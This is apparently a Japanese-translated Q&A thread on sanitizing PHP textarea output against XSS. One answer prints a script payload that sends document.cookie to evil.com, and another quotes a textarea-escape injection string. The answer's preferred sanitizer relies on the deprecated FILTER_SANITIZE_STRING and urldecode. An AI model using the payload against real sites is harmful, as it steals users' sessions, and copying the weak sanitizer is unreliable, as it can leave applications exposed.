1

テキストエリアなどの入力で使用する場合、データベースからの値を (php で) サニタイズする最良の方法は何ですか?

たとえば、データを挿入するとき、タグと引用符を取り除き、それらを html char コードに置き換えてから、挿入の直前に mysql_real_escape_string を使用できます。

そのデータを取得するときは、テキストエリアに表示する必要があります。これを行うにはどうすればXSSを回避できますか? (例:簡単に入力できます

</textarea><script type='text/javascript'> Malicious Code</script><textarea>

)、問題を引き起こします。

ありがとう!

4

3 に答える 3

6

私はあなたが純粋な単純なphpソリューションを使用したいのfilter_varであれば、の組み合わせを好むと思いますurl_decode

理由

このような代入を想像してみてください

$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";

私が使用する場合strip_tags

var_dump(strip_tags($maliciousCode));

出力

string 'document.write("' (length=16)

私が使用する場合htmlspecialchars

var_dump(htmlspecialchars($maliciousCode));

出力

string '&lt;script&gt;document.write(&quot;&lt;img src='http://evil.com/?cookies='&quot;+document.cookie+&quot;' style='display:none;' /&gt;&quot;);&lt;/script&gt; I love PHP' (length=166)

私の選択

function cleanData($str) {
    $str = urldecode ($str );
    $str = filter_var($str, FILTER_SANITIZE_STRING);
    $str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
    return $str ;
}

$input = cleanData ( $maliciousCode );
var_dump($input);

出力

 string 'document.write(&#38;#34;&#38;#34;); I love PHP' (length=46)

フォームがURLエンコードされている場合にエスケープするまで、一部の缶GETの代わりに使用している場合は、最小限の情報を取得して、最終的なテキストが無害であることを確認できます。POST

あなたがフィルターを見るのを助けるのに十分なオンラインのクラスもあります

于 2012-04-22T19:12:44.513 に答える
2

HTMLpurifierは、不要な HTML、特に不要な JavaScript を一掃するための優れたツールです。また、htmlspecialchars()ユーザー提供コンテンツの出力にも使用することをお勧めします。

于 2012-04-22T17:52:55.613 に答える
0

お問い合わせフォームで汚いスパマーを取得した後、テキストボックスのユーザー入力をサニタイズする機能を拡張しました。複数行のテキストエリア入力もカバーするようになりました

通常の表示用にフォーマットする必要があり、連絡先ページからの HTML メールも必要でした。また、私も使用しているプレーンテキストの電子メールをフォーマットするオプションも提供します。

function clean_text($text, $html = true)
{ if($text == ""){return "";}
  $text = nl2br($text,false); // false gives <br>, true gives <br />
  $textary = explode("<br>",$text);
  foreach($textary as $key => $val)
  { $val = trim($val);
    $val = stripslashes($val);
    $val = htmlspecialchars($val);
    $textary[$key] = $val;
  }
  if ($html)
  { return implode("<br />",$textary);} //return implode("<br>",$textary);
  else
  { return implode("\r\n",$textary);}
}   

ところで、私の PHP 学習に参加してくれた SO メンバーに感謝します。

http://www.microcal.ca/scripts/cleantext.phpの例

于 2014-06-19T21:42:43.703 に答える